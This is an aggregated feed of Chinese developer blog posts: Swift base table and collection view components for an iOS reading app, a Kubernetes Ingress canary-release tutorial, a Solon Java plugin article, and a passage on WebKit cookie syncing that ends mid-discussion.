        self.delegate?.clickTableViewCellInsideButton?(viewModel!, cellModel: cellModel, senderTag: senderTag)
    }
    
}

base TableViewModel 组件 YYYBaseTableViewModel

//  baseTableViewModel组件

import UIKit

class YYYBaseTableViewModel: NSObject {

    // inout修饰参数 传地址而不是值
    /// 构建函数参数闭包
    public typealias sectionModelsClosure = (inout [YYYBaseTableViewSecionModel]) -> Void
    
    // 数据源
    var sectionModels = [YYYBaseTableViewSecionModel]()
    
    init(sectionModelsClosure: sectionModelsClosure) {
        sectionModelsClosure(&sectionModels)
    }
    
}


class YYYBaseTableViewSecionModel: NSObject {

    /// 构建函数参数闭包
    public typealias cellModelsClosure = (inout [YYYBaseTableViewCellModel]) -> Void

    /// 数据源
    var cellModels = [YYYBaseTableViewCellModel]()
    
    init(cellModelsClosure: cellModelsClosure) {
        cellModelsClosure(&cellModels)
    }
    
}



class YYYBaseTableViewCellModel: NSObject {
    
    /// Cell类名
    var cellClass: String!
    /// Cell高度
    var cellHeight: CGFloat!
    /// Cell里的collectionViewModel
    var collectionViewModel: [AnyObject]!
    /// 标题
    var fieldTitle: String!
    /// 副标题
    var fieldSubTitle: String!
    /// 图片名
    var imageName: String!
    /// 图片URL
//    var imageURL: UIImage!
    /// 辅助字段
    var others: [String]!
    /// 是否只可读
    var isReadOnly: Bool!
    /// 辅助属性(存储数据源 - 回调用)
    var modelValue: AnyObject!
    
    override init() {
        super.init()
        
    }
    
}


// MARK: - 可扩展的 TabelCellModel

// 书本详情cellModel
class YYYBaseTableViewInfoCellModel: YYYBaseTableViewCellModel{
    
    
}

base TableViewCell 组件 YYYTableViewCell

//  基础TableViewCell

import UIKit

@objc protocol YYYTableViewCellDelegate: AnyObject {
    
    /**
     点击内CollectionViewCell回调
     collectionViewModel: 数据源collectionViewModel
     didSelectCellModel: 点击Cell的CellModel
     */
    @objc optional func clickInsideCollectionViewCell(_ collectionViewModel: YYYBaseCollectionViewModel, didSelectCellModel: YYYBaseCollectionViewCellModel, didSelectItemAt indexPath: IndexPath)
    
    /**
     点击内TableViewCell里按钮的回调
     cellModel: 点击Cell的CellModel
     */
    @objc optional func clickInsideButton(_ cellModel: YYYBaseTableViewCellModel, senderTag: Int)
    
}

class YYYTableViewCell: UITableViewCell {
    
    /// 数据源cellModel
    var cellModel: YYYBaseTableViewCellModel! {
        didSet {
            setupUI()
            setCollectionCellModel()
        }
    }
    
    weak var cellDelagte: YYYTableViewCellDelegate?

    override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
        super.init(style: style, reuseIdentifier: reuseIdentifier)
        setup()
        
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    
    // MARK: - setup
    
    func setupUI() {
        // override
        
    }
    
    /// 构建内嵌CollectionView的cellModel
    func setCollectionCellModel() {
    // 因为这是个阅读类APP,所以会有大量的tableViewCell嵌套collectionViewCell,这里直接提供一个构建方法
        // override
        
    }
    
    class func cell(_ tableView: UITableView) -> YYYTableViewCell {
        return tableView.dequeueReusableCell(withIdentifier: "\(self)") as! YYYTableViewCell
    }
    

    // MARK: - Private Method

    /// 创建cell内 UIButton 通用方法
    func newButton() -> UIButton {
        let button = UIButton(type: .custom)
        button.addTarget(self, action: #selector(clickNewButton), for: .touchUpInside)
        addSubview(button)
        return button
    }
    
    @objc func clickNewButton(sender: UIButton) {
        self.cellDelagte?.clickInsideButton?(cellModel, senderTag: sender.tag)
    }
    
}

三、具体使用

1.tableViewController,table具体参数由业务决定:

lazy var tableViewController: YYYBaseTableViewController

2.YYYBaseTableViewModel,并传值给tableViewController.viewModel:

    // 构造tableViewModel
    func updateTableView() {
        
        let viewModel = YYYBaseTableViewModel { sectionModels in
            
            for data in dataSource {
                let sectionModel = YYYBaseTableViewSecionModel { cellModels in

                    if data.title.contains("Best") {
                        let cellModel1 = YYYBaseTableViewCellModel()
                        cellModel1.cellClass = "YYYThreeByThreeGridsStyle1TableCell"
                        cellModel1.fieldTitle = data.title
                        cellModel1.cellHeight = scrW(623.5)
                        cellModel1.imageName = "hometop_bestbg"
                        cellModel1.collectionViewModel = data.bookList
                        cellModels.append(cellModel1)
                    }
                    else {
                        let cellModel1 = YYYBaseTableViewCellModel()
                        cellModel1.cellClass = "YYYOneRowSlidableStyle1TableCell"
                        cellModel1.cellHeight = scrW(190)
                        cellModel1.collectionViewModel = data.bookList
                        cellModels.append(cellModel1)
                    }
                }
                sectionModels.append(sectionModel)
            }
        }
        tableViewController.viewModel = viewModel
    }

3.实现业务需要的一些通用delegate

    // MARK: - YYYTableViewDelegate
    
    // 点击里侧嵌套CollectionCell的通用回调,有需要把YYYBaseCollectionViewCellModel替换成自己自定义XXXCellModel的就好了
    func clickInsideCollectionViewCell(_ collectionViewModel: YYYBaseCollectionViewModel, didSelectCellModel cellModel: YYYBaseCollectionViewCellModel, didSelectItemAt indexPath: IndexPath) {
        // 书籍cell样式1
        if cellModel.cellClass == "YYYBookCoverStyle1CollectionViewCell" {
            
            // 点击跳转 书籍详情页
            let bookInfo = BookInfoViewController()
            // 构造函数的 modelValue: AnyObject来存储数据源属性,到回调里强转使用。
            let book = cellModel.modelValue as? HomeTop ?? HomeTop()
            bookInfo.bookID = book.topId
            jumpvc(viewController: bookInfo)
        }
        
    }
    // 测试cell中按钮点击情况
    func clickTableViewCellInsideButton(_ tableViewModel: YYYBaseTableViewModel, cellModel: YYYBaseTableViewCellModel, senderTag: Int) {
        print("AKAK")
    }

四、优点和缺点

优点一、代码规范

规范常用代码写法,大部份业务都是相似的代码结构,接手后维护成本更低,也能避免不同水平程序员写出来不同风格的代码,可阅读性更好

优点二、内聚性

使构建常见的table时,代码更加内聚,构建新代码时间成本更低,维护旧代码可一目了然。

优点三、统一cellModel属性,业务model不会渗透通用cell和controller代码,cellModel在回调中拿来即用

构建常见的table时,后台无论怎么变化返回的数据结构,共用tableCell都是用同一个通用的cellModel属性,不会造成引入业务model而渗透cell和controller回调的代码。同时写新UI样式时更方便,属性更统一,开发相似样式cell的时候也更容易做出更改。

缺点一、增加学习成本

熟悉框架(引用,构建ViewModel)时,因为和平常大家熟知的(继承,实现代理)写代码方式不一样,所以会有一定的学习成本。

缺点二、应对动态约束布局的UI需要自己手动刷新

比如无法用 estimatedRowHeight约束布局 实现动态布局列表,框架多用于快速构建实现常见的静态布局。当然,写复杂场景时就不需要引用 lazy var tableViewController: YYYBaseTableViewController 了。如果APP需要初始化一些通用配置, 搭建一个BaseViewController 进行继承即可。

最最最后,完结撒花

告辞.jpeg

by gla1ve_Yim at January 21, 2025 03:45 AM

juejin freebie

K8s 灰度发布实战:通过 Ingress 注解轻松实现流量分割与渐进式发布

在现代微服务架构中,应用的更新和发布是一个高频且关键的操作。如何在不影响用户体验的前提下,安全、平稳地将新版本应用推送到生产环境,是每个开发者和运维团队必须面对的挑战。灰度发布(Gray Release)作为一种渐进式发布策略,能够有效降低发布风险,而 Kubernetes 的 Ingress 注解功能为我们提供了一种简单而强大的实现方式。

本文将带你深入浅出地了解如何通过 Ingress 注解 在 Kubernetes 中实现灰度发布,并逐步掌握流量分割、权重控制等核心技巧。无论你是 Kubernetes 新手还是资深用户,都能从本文中获得实用的知识和操作指南。


什么是灰度发布?

灰度发布,也称为金丝雀发布(Canary Release),是一种渐进式的应用发布策略。它的核心思想是:将新版本应用逐步推送给一小部分用户,观察其运行状态,确认无误后再逐步扩大范围,最终完成全量发布

相比于全量发布,灰度发布具有以下优势:

  1. 降低风险:通过小范围验证,避免因新版本问题导致全局故障。
  2. 快速回滚:如果新版本出现问题,可以快速切换回旧版本。
  3. 用户体验优化:逐步发布可以减少对用户的影响。

Kubernetes 中的灰度发布实现方式

在 Kubernetes 中,灰度发布可以通过多种方式实现,例如:

  • Deployment + Service:手动控制流量切换。
  • Istio:通过服务网格实现高级流量管理。
  • Ingress 注解:通过 Nginx Ingress Controller 的注解功能实现流量分割。

本文将重点介绍 Ingress 注解 的实现方式,因为它简单易用,且无需引入额外的组件。


通过 Ingress 注解实现灰度发布

Nginx Ingress Controller 提供了丰富的注解(Annotations),可以轻松实现灰度发布。以下是具体步骤:

1. 部署新旧版本应用

首先,我们需要部署两个版本的应用程序:

  • 旧版本(v1):当前正在运行的生产版本。
  • 新版本(v2):待发布的新版本。

1.1 创建 v1 版本 Deployment 和 Service

# v1 版本 Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app-v1
spec:
  replicas: 3
  template:
    metadata:
      labels:
        app: my-app
        version: v1
    spec:
      containers:
      - name: my-app
        image: my-app:v1
        ports:
        - containerPort: 80

# v1 版本 Service
apiVersion: v1
kind: Service
metadata:
  name: my-app-v1
spec:
  selector:
    app: my-app
    version: v1
  ports:
  - port: 80
    targetPort: 80

1.2 创建 v2 版本 Deployment 和 Service

# v2 版本 Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app-v2
spec:
  replicas: 3
  template:
    metadata:
      labels:
        app: my-app
        version: v2
    spec:
      containers:
      - name: my-app
        image: my-app:v2
        ports:
        - containerPort: 80

# v2 版本 Service
apiVersion: v1
kind: Service
metadata:
  name: my-app-v2
spec:
  selector:
    app: my-app
    version: v2
  ports:
  - port: 80
    targetPort: 80

2. 配置 Ingress 实现灰度发布

通过 Nginx Ingress Controller 的 canary 注解,我们可以轻松实现流量分割。

2.1 创建 Ingress 资源

以下是一个示例配置:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
  annotations:
    nginx.ingress.kubernetes.io/canary: "true"  # 启用灰度发布
    nginx.ingress.kubernetes.io/canary-weight: "10"  # 10% 流量到新版本
spec:
  rules:
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v2  # 新版本服务
            port:
              number: 80
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v1  # 旧版本服务
            port:
              number: 80

2.2 关键注解说明

  • nginx.ingress.kubernetes.io/canary: "true":启用灰度发布功能。
  • nginx.ingress.kubernetes.io/canary-weight: "10":将 10% 的流量分配到新版本(v2),剩余 90% 的流量继续使用旧版本(v1)。

3. 逐步调整流量权重

在灰度发布过程中,可以逐步增加新版本的流量比例。例如:

  • 初始阶段:10% 流量到 v2。
  • 验证通过后:将权重调整为 50%。
  • 最终阶段:将权重调整为 100%,完成全量发布。

只需修改 canary-weight 注解的值即可:

nginx.ingress.kubernetes.io/canary-weight: "50"  # 50% 流量到新版本

4. 监控与回滚

在灰度发布过程中,务必监控新版本的运行状态,包括:

  • 应用日志:检查是否有错误或异常。
  • 性能指标:如响应时间、错误率等。
  • 用户反馈:收集用户的使用体验。

如果发现问题,可以通过调整 canary-weight 注解将流量切回旧版本:

nginx.ingress.kubernetes.io/canary-weight: "0"  # 所有流量切回旧版本

灰度发布的进阶用法

除了基于权重的流量分割,Nginx Ingress Controller 还支持以下灰度发布策略:

1. 基于请求头的流量分割

通过 nginx.ingress.kubernetes.io/canary-by-header 注解,将特定请求头的流量路由到新版本。

示例配置

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
  annotations:
    nginx.ingress.kubernetes.io/canary: "true"
    nginx.ingress.kubernetes.io/canary-by-header: "X-Canary"
    nginx.ingress.kubernetes.io/canary-by-header-value: "true"
spec:
  rules:
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v2
            port:
              number: 80
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v1
            port:
              number: 80

说明

  • 当请求头中包含 X-Canary: true 时,流量会被路由到新版本(v2)。
  • 其他请求继续使用旧版本(v1)。

2. 基于 Cookie 的流量分割

通过 nginx.ingress.kubernetes.io/canary-by-cookie 注解,将特定 Cookie 的流量路由到新版本。

示例配置

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
  annotations:
    nginx.ingress.kubernetes.io/canary: "true"
    nginx.ingress.kubernetes.io/canary-by-cookie: "canary"
spec:
  rules:
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v2
            port:
              number: 80
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v1
            port:
              number: 80

说明

  • 当请求中包含 canary=true 的 Cookie 时,流量会被路由到新版本(v2)。
  • 其他请求继续使用旧版本(v1)。

3. 组合使用

可以同时使用权重、请求头和 Cookie 实现更复杂的灰度发布策略。

示例配置

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
  annotations:
    nginx.ingress.kubernetes.io/canary: "true"
    nginx.ingress.kubernetes.io/canary-weight: "10"
    nginx.ingress.kubernetes.io/canary-by-header: "X-Canary"
    nginx.ingress.kubernetes.io/canary-by-header-value: "true"
    nginx.ingress.kubernetes.io/canary-by-cookie: "canary"
spec:
  rules:
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v2
            port:
              number: 80
  - host: my-app.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: my-app-v1
            port:
              number: 80

说明

  • 10% 的流量会被分配到新版本(v2)。
  • 如果请求头中包含 X-Canary: true 或 Cookie 中包含 canary=true,流量也会被路由到新版本。

总结

通过 Kubernetes 的 Ingress 注解,我们可以轻松实现灰度发布,逐步将新版本应用推送给用户,降低发布风险。无论是基于权重的流量分割,还是基于请求头或 Cookie 的精细化控制,Nginx Ingress Controller 都提供了强大的支持。

灰度发布不仅是技术上的优化,更是对用户体验的尊重。希望本文能帮助你掌握这一重要技能,让你的发布过程更加平稳、可靠!


立即尝试:在你的 Kubernetes 集群中部署一个灰度发布示例,感受渐进式发布的魅力吧!如果你有任何问题或想法,欢迎在评论区留言讨论!

by ydswin at January 21, 2025 03:25 AM

juejin ios

iOS 基础系统组件UICollectionViewController框架搭建设计与实现探究

2025.01.21 工作变动原因,故将一些工作期间Tapd内部写的Wiki文档转移到个人博客。

鉴于工程里还没有封装base collection类,在设计可行性方案并且进行实现探究后,一次iOS组内分享会中分享自己的想法后,在这里把设计思路和源码放上来以作记录。

因为是一边学习Swift一边写的,有一些语法问题上还可以再做一步优化(比如,把一些逻辑! 强制解析 as! 类型改成可选型 as? 防止崩溃,不过使用 as! 也能更好帮助开发阶段调试定位问题),先在这里做大体框架的源码设计与实现分享。

这份一是基于 《阅读类APP》 的demo

一、设计思想与实际作用

1.统一代码开发规范,命名方式

首先,因为每个程序员思考方式不同,想法不同,写出来的代码、文件命名等等,自然会有不一样的地方。如果有一套统一的、能覆盖大多数场景的开发模板(base组件),将会大大减少新员工或者相同开发人员交替开发的阅读成本、开发成本

2.提高开发效率

有一套设计良好的基础组件模板,可以减少开发中一些基础 UICollectionViewController 功能的重复代码编写,也可以迅速的复用相似的UI层到相同的新页面中。

3.使代码更加内聚

如果能够把 UICollectionViewController 常用的功能封装后, 一个构造函数完成以前需要好几个代理方法才能写完的功能,这样一个构造函数,对于开发、维护以及更新页面的时候就会变得特别方便。 既能把处理逻辑放到一起,也能让代码顺序对应页面元素顺序,大大提高了代码的 可阅读性、可维护性、开发效率

二、框架搭建与源码实现

base CollectionViewController 组件 YYYBaseCollectionViewController

//  Created by Yimmm on 2022/6/2.
//  Copyright © 2022 xj. All rights reserved.
//  baseCollectionViewController组件

import UIKit

//private let reuseIdentifier = "Cell"

@objc protocol YYYCollectionViewDelegate: AnyObject {
    
    /**
     didSelect回调
     collectionViewModel: 数据源collectionViewModel
     didSelectCellModel: 点击Cell的CellModel
     */
    @objc optional func collectionViewModel(_ collectionViewModel: YYYBaseCollectionViewModel, didSelectCellModel cellModel: YYYBaseCollectionViewCellModel, didSelectItemAt indexPath: IndexPath)
    
    /**
     点击内CollectionViewCell里按钮的回调
     cellModel: 点击Cell的CellModel
     */
    @objc optional func clickCollectionViewCellInsideButton(_ collectionViewModel: YYYBaseCollectionViewModel, cellModel: YYYBaseCollectionViewCellModel, senderTag: Int)
    
}

class YYYBaseCollectionViewController: UICollectionViewController, YYYCollectionViewCellDelegate {
    
    weak var delegate: YYYCollectionViewDelegate?
    
    /// 数据源viewModel
    var viewModel: YYYBaseCollectionViewModel? {
        didSet {
            // FIXME: - 业 注册重用(先测试这样做行不行,不行的话就和Collectionable一样,提供一个注册方法)
            // 注册cell
            for cellModel in viewModel!.cellModels {
                collectionView.register(cellClassFromString(cellModel.cellClass).self, forCellWithReuseIdentifier: "\(cellModel.cellClass!)")
            }
            collectionView.reloadData()
        }
    }
    
    override func viewDidLoad() {
        super.viewDidLoad()
        setupCollectionView()
    }
    
    func setupCollectionView() {
        collectionView.dataSource = self
        collectionView.delegate = self
        collectionView.backgroundColor = .background_light
        collectionView.showsHorizontalScrollIndicator = false
        collectionView.showsVerticalScrollIndicator = false
    }
    
    
    // MARK: - Private Method
    
    /// 字符串转类
    func cellClassFromString(_ className:String, indexPath: IndexPath = IndexPath(item: 0, section: 0)) -> AnyClass {
        // 1、获swift中的命名空间名
        var name = Bundle.main.object(forInfoDictionaryKey: "CFBundleExecutable") as? String
        // 2、如果包名中有'-'横线这样的字符,在拿到包名后,还需要把包名的'-'转换成'_'下横线
        name = name?.replacingOccurrences(of: "-", with: "_")
        // 3、拼接命名空间和类名,”包名.类名“
        let fullClassName = name! + "." + className
        // 4、如果取不到,给个默认值
        let classType: AnyClass = NSClassFromString(fullClassName) ?? YYYCollectionViewCell.self
        // 本类type
        return classType
    }


    // MARK: - UICollectionViewDataSource

    override func numberOfSections(in collectionView: UICollectionView) -> Int {
        // #warning Incomplete implementation, return the number of sections
        return 1
    }


    override func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
        let items = viewModel?.cellModels.count ?? 0
        return items
    }

    override func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
        let str = viewModel!.cellModels[indexPath.row].cellClass!
        // 得到AnyClass
        let anyClass: AnyClass = cellClassFromString(str, indexPath: indexPath)
        // 强转自己需要的类
        let classType = anyClass as! YYYCollectionViewCell.Type
        // 使用类方法 .cell来得到一个实例对象
        let cell = classType.cell(collectionView, indexPath: indexPath)
        cell.cellModel = viewModel!.cellModels[indexPath.row]
        cell.cellDelagte = self
        return cell
    }
    
    override func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
        self.delegate?.collectionViewModel?(viewModel!, didSelectCellModel: viewModel!.cellModels[indexPath.row], didSelectItemAt: indexPath)
    }
    
    
    // MARK: - YYYCollectionViewCell Delegate
    func clickInsideButton(_ cellModel: YYYBaseCollectionViewCellModel, senderTag: Int) {
        self.delegate?.clickCollectionViewCellInsideButton?(viewModel!, cellModel: cellModel, senderTag: senderTag)
    }
    
}

base CollectionViewModel 组件 YYYBaseCollectionViewModel

//  baseCollectionViewModel组件

import UIKit

class YYYBaseCollectionViewModel: NSObject {
    
    /// 构建函数参数闭包
    public typealias cellModelsClosure = (inout [YYYBaseCollectionViewCellModel]) -> Void

    /// 数据源
    var cellModels = [YYYBaseCollectionViewCellModel]()
    
    init(cellModelsClosure: cellModelsClosure) {
        cellModelsClosure(&cellModels)
    }
    
}


class YYYBaseCollectionViewCellModel: NSObject {
    
    /// Cell类名
    var cellClass: String!
    /// 标题
    var fieldTitle: String!
    /// 副标题
    var fieldSubTitle: String!
    /// 图片名
    var imageName: String!
    /// 图片URL
    var imageURL: String!
    /// 辅助字段
    var others: [String]!
    /// 是否只可读
    var isReadOnly: Bool!
    /// 辅助属性(存储数据源 - 回调用)
    var modelValue: AnyObject!
    
    override init() {
        super.init()
    }
    
}


// MARK: - 可扩展的 CollectionCellModel

class YYYBookCoverCollectionCellModel : YYYBaseCollectionViewCellModel{
    
    /// 封面图片高度
    var imageHeight: CGFloat!

}

base CollectionViewCell 组件 YYYBaseCollectionViewCell

//  baseCollectionViewCell组件

import UIKit

@objc protocol YYYCollectionViewCellDelegate: AnyObject {
    
    /**
     点击内CollectionViewCell里按钮的回调
     cellModel: 点击Cell的CellModel
     */
    @objc optional func clickInsideButton(_ cellModel: YYYBaseCollectionViewCellModel, senderTag: Int)
    
}

class YYYCollectionViewCell: UICollectionViewCell {
    
    /// 数据源cellModel
    var cellModel: YYYBaseCollectionViewCellModel! {
        didSet {
            setupUI()
        }
    }
    
    weak var cellDelagte: YYYCollectionViewCellDelegate?
    
    override init(frame: CGRect) {
        super.init(frame: frame)
    }
    
    required init?(coder aDecoder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    // MARK: - setup

    func setupUI() {
        // override
        
    }
    
    class func cell(_ collectionView: UICollectionView, indexPath: IndexPath) -> YYYCollectionViewCell{
        return  collectionView.dequeueReusableCell(withReuseIdentifier: "\(self)", for: indexPath) as! YYYCollectionViewCell
    }

    
    // MARK: - Private Method
    
    /// 创建cell内 UIButton 通用方法
    func newButton() -> UIButton {
        let button = UIButton(type: .custom)
        button.addTarget(self, action: #selector(clickNewButton), for: .touchUpInside)
        addSubview(button)
        return button
    }
    
    @objc func clickNewButton(sender: UIButton) {
        self.cellDelagte?.clickInsideButton?(cellModel, senderTag: sender.tag)
    }
    
}

三、具体使用

1.引用collectionViewController,collection具体参数由业务决定:

lazy var collectionViewController: YYYBaseCollectionViewController

2.构建collectionViewModel,并传值给collectionViewController.viewModel:

// cellModel构建方法
    override func setCollectionCellModel() {
        // 数据模型
        let bookList = cellModel.collectionViewModel as? [HomeTop] ?? [HomeTop]()
        // VM构建方法
        let viewModel = YYYBaseCollectionViewModel { cellModels in
            // 遍历数据模型,构建cellModel
            for book in bookList {
                
                let cellModel = YYYBookCoverCollectionCellModel()
                cellModel.cellClass = "YYYBookCoverStyle1CollectionViewCell"
                cellModel.fieldTitle = book.bookName
                cellModel.imageURL = book.imageUrl
                cellModel.imageHeight = scrW(122)
                // AnyObject属性,用来回调判断等
                cellModel.modelValue = book
                // 构建参数cellModels列表拼接model
                cellModels.append(cellModel)
            }
        }
        // 赋值viewModel,自动注册cell,刷新列表
        collectionViewController.viewModel = viewModel
    }
    

3.实现业务需要的一些通用delegate

    // MARK: - Collection Delegate

    // 这是collectionViewController的 点击回调
    func collectionViewModel(_ collectionViewModel: YYYBaseCollectionViewModel, didSelectCellModel cellModel: YYYBaseCollectionViewCellModel, didSelectItemAt indexPath: IndexPath) {
        // 实现一下table嵌套collection的通用点击代理
        self.cellDelagte?.clickInsideCollectionViewCell?(collectionViewModel, didSelectCellModel: cellModel, didSelectItemAt: indexPath)
    }

四、优点和缺点

优点一、代码规范

规范常用代码写法,大部份业务都是相似的代码结构,接手后维护成本更低,也能避免不同水平程序员写出来不同风格的代码,可阅读性更好

优点二、内聚性

使构建常见的collection时,代码更加内聚,构建新代码时间成本更低,维护旧代码可一目了然。

优点三、统一cellModel属性,业务model不会渗透通用cell和controller代码,cellModel在回调中拿来即用

构建常见的table时,后台无论怎么变化返回的数据结构,共用collectionCell都是用同一个通用的cellModel属性,不会造成引入业务model而渗透cell和controller回调的代码。同时写新UI样式时更方便,属性更统一,开发相似样式cell的时候也更容易做出更改。

缺点一、增加学习成本

熟悉框架(引用,构建ViewModel)时,因为和平常大家熟知的(继承,实现代理)写代码方式不一样,所以会有一定的学习成本。

缺点二、应对动态约束布局的UI需要自己手动刷新

比如无法用 estimatedRowHeight约束布局 实现动态布局列表,框架多用于快速构建实现常见的静态布局。当然,写复杂场景时就不需要引用 lazy var collectionViewController: YYYBaseCollectionViewController 了。如果APP需要初始化一些通用配置, 搭建一个BaseViewController 进行继承即可。

最最最后,完结撒花

告辞.jpeg

by gla1ve_Yim at January 21, 2025 03:24 AM

oschina news industry

[Java] Solon 框架的三大核心组件之一插件扩展体系

1、Solon 的三大核心组件

核心组件 说明
Plugin 插件扩展机制 提供“编码风格”的扩展体系
Ioc/Aop 应用容器 提供基于注入依赖的自动装配体系
Context+Handler 通用上下文处理接口 提供“开放式处理”适配体系(俗称,三元合一)

2、Solon Plugin 插件扩展机制

几种 Java 扩展机制:

扩展机制 描述 特点 体验风格 适用性
Java SPI Java 自带的 以接口为单位 配置风格 适用于所有 Java 生态(最通用)
Spring Factories Spring 框架提供的 以组件为单位 配置风格 适用于 Spring 生态体系
Solon Plugin Solon 框架提供的 以模块为单位 编码风格 适用于 Solon 生态体系

Solon Plugin 是 Java SPI 的一种“增强”模式,强调编码风格。插件模块元信息配置会申明一个 Plugin 接口的实现类,在应用启动时扫描元信息目录,以发现所有申明的插件实现。

Plugin 的接口定义:

public interface Plugin {
    //启动
    void start(AppContext context) throws Throwable;
    //预停止
    default void prestop() throws Throwable{}
    //停止
    default void stop() throws Throwable{}
}

Plugin 实现类的元信息配置申明:以 META-INF/solon 为专属目录;使用 properties 格式;要配置插件的实现类及优先级。

# META-INF/solon/{packname}.properties

solon.plugin={PluginImpl}   #插件实现类配置
solon.plugin.priority=1 #插件优化级配置。越大越优先,默认为0

3、Solon Plugin 插件示例

用一个数据缓存与事务相关的插件为例,以模块为单位实现整体装配(编码风格):

public class DemoSolonPlugin implements Plugin {
    @Override
    public void start(AppContext context) {
        if (context.app() != null) {
            //添加事务控制支持
            if (context.app().source().isAnnotationPresent(EnableTransaction.class)) {
                //添加注解拦截器
                context.beanInterceptorAdd(Tran.class, TranInterceptor.instance, 120);
            }

            //添加缓存控制支持
            if (context.app().source().isAnnotationPresent(EnableCaching.class)) {
                //添加注解拦截器
                context.beanInterceptorAdd(CachePut.class, new CachePutInterceptor(), 110);
                context.beanInterceptorAdd(CacheRemove.class, new CacheRemoveInterceptor(), 110);
                context.beanInterceptorAdd(Cache.class, new CacheInterceptor(), 111);
            }
        }
        
        //根据配置自动构建数据源
        context.beanMake(DataSourcesAutoConfiguration.class);
    }
}

插件应用示意:

@EnableTransaction
@EnableCaching
public class App {
    public static void main(String[] args) {
        Solon.start(App.class, args);
    }
}

@Component
public class DemoService {
    @Cache
    public String test() {
        return new Date().toString();
    }
    
    @Tran
    public void post() {
        ...
    }
}

by 来源: 投稿 at January 21, 2025 03:10 AM

juejin ios

WebKit 网络拦截 Cookie 同步方案

WebKit Cookie 存储策略

由于 WebKit 多进程协作关系,Cookie 需要在 WebContent、Networking 两个进程间调度与同步。

比如 JS 调用 document.cookie 设置的数据要在网络请求时带上,就需要从 WebContent 进程同步到 Networking 进程;网络请求响应头的Set-Cookie数据要让 JS 调用 document.cookie 能获取到,就需要从 Networking 进程同步到 WebContent 进程。

双向同步机制

简单看一下源码中如何实现的。

存储 Cookie 的核心类是NetworkStorageSession(封装了NSHTTPCookieStorage),在 WebContent 和 Networking 进程都使用到了它。

在 Networking 进程 Cookie 发生变化时,会 IPC 告知到 WebContent 进程的NetworkProcessConnection;在 WebContent 进程 Cookie 发生变化时,会 IPC 告知到 Networking 进程的 NetworkConnectionToWebProcess

为了提升 WebContent 进程对 Cookie 的读写效率,设计了一个WebCookieCache,减少 IPC 通信次数。

它们大致形成了这样一个双向同步机制:

image.png

网络拦截带来的 Cookie 同步问题

要实现全网过代理以及深度的 Web 网络优化,WebKit 网络拦截是一个必要的基础技术,由 APP 进程承接 WebView 的网络请求,对 Cookie 方面主要影响有几点:

  1. WebContent 进程产生的 Cookie 不能被 APP 进程感知到,APP 进程发起网络请求时带不上;
  2. APP 进程网络请求响应包的 Cookie 不能被 WebContent / Networking 进程感知到,导致 JS 上下文获取不到这些 Cookie;

本质来看我们需要做到两点即可:

  1. WebContent 进程产生的 Cookie 同步到 APP 进程;
  2. APP 进程网络请求产生的 Cookie 同步到 WebContent 或 Networking 进程;

image.png

可能想到是做法是基于 Hook JS 代码插入 IPC 通信逻辑,强行对齐 WebContent 和 APP 进程的 Cookie 数据,从细节去分析后发现可能无法完美处理。我们更希望的方案是三个进程的 CookieStorage 能从更底层去同步,而不是在上层做一些不稳定且不安全的 Hack 逻辑。

解决方案

既然我们是在 APP 进程承接 Networking 进程的工作,那可以稍微探索一下 Networking 进程是如何存储 Cookie 的,看是否有所启发。

Networking 进程 Cookie 如何存储

调试一下就发现Set-Cookie响应头其实在公开代理无法获取,追溯一下调用链路,在 Networking 进程的 NSURLSession 请求完成时,会调将Set-Cookie响应头清理掉:

void ResourceResponseBase::sanitizeHTTPHeaderFields(SanitizationType type) {
…
 m_httpHeaderFields.remove(HTTPHeaderName::SetCookie);
 m_httpHeaderFields.remove(HTTPHeaderName::SetCookie2);
…
}

然后将清理后的响应头 IPC 到 WebContent 进程,WebContent 进程再 IPC 到 APP 进程。

也就是说 Networking 进程没有对响应头的 Cookie 做存储处理,那就依赖 NSURLSession 内部逻辑了,因为它们都操作的同一进程的[NSHTTPCookieStorage sharedHTTPCookieStorage],NSURLSession 处理闭源,但可以在 Swift 源码中找到痕迹:

image.png

既然如此,我们需要自己想办法处理了,让逻辑下沉并且避免 Hook。

核心处理

对于 WebContent 进程产生的 Cookie 同步到 APP 进程,可以不用 Hook document.cookie setter,用 iOS 11 及以上的一个公开监听接口(还需验证):

-[WKHTTPCookieStore addObserver:]

对于 APP 进程网络请求产生的 Cookie 同步到 WebContent 或 Networking 进程,可以直接在网络请求响应时,通过以下接口同步:

[WKWebsiteDataStore defaultDataStore].httpCookieStore

WKHTTPCookieStore 封装了一系列 IPC 接口,通过 Networking 进程的 WebCookieManager 同步 Cookie,由于 WebKit 本身的 Cookie 双向同步机制,也会同步到 WebContent 进程。

IPC 时序问题

试想这样的场景:

  1. 网络请求响应头返回Set-Cookie
  2. Cookie 通过 IPC 链路:APP -> Networking -> WebContent;
  3. 回包数据 IPC 链路:APP -> WebContent;
  4. 网络请求回包后 JS 代码同步读取 Cookie;

